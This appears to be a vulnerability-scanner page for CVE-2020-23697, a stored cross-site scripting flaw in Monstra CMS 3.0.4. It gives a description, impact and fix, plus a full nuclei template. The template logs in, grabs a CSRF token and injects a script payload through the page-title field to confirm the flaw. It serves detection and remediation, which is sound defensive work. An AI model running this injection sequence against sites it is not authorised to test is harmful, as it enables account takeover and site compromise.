Browse / CVEs / CVE-2020-23697
CVE-2020-23697· monstra / monstra cms· CWE-79
Monstra CMS 3.0.4 - Cross-Site Scripting
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
How to confirm it
Send: POST /admin/index.php?id=dashboard ; GET /admin/index.php?id=pages&action=add_page ; POST /admin/index.php?id=pages&action=add_page ; GET /{{string}}
Positive when: contains(header_4, "text/html") and status_code_4 == 200 and contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")Run it with nuclei: nuclei -id CVE-2020-23697 -u <target>
The full check
id: CVE-2020-23697
info:
name: Monstra CMS 3.0.4 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
reference:
- https://github.com/monstra-cms/monstra/issues/463
- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-23697
cwe-id: CWE-79
epss-score: 0.01877
epss-percentile: 0.79596
cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: monstra
product: monstra_cms
shodan-query: http.favicon.hash:419828698
fofa-query: icon_hash=419828698
tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated,monstra,vuln
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST /admin/index.php?id=dashboard HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login={{username}}&password={{password}}&login_submit=Log+In
- |
GET /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
- |
GET /{{string}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(header_4, "text/html")'
- 'status_code_4 == 200'
- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
condition: and
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'id="csrf" name="csrf" value="(.*)">'
internal: true
part: bodyReferences
- https://github.com/monstra-cms/monstra/issues/463
- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from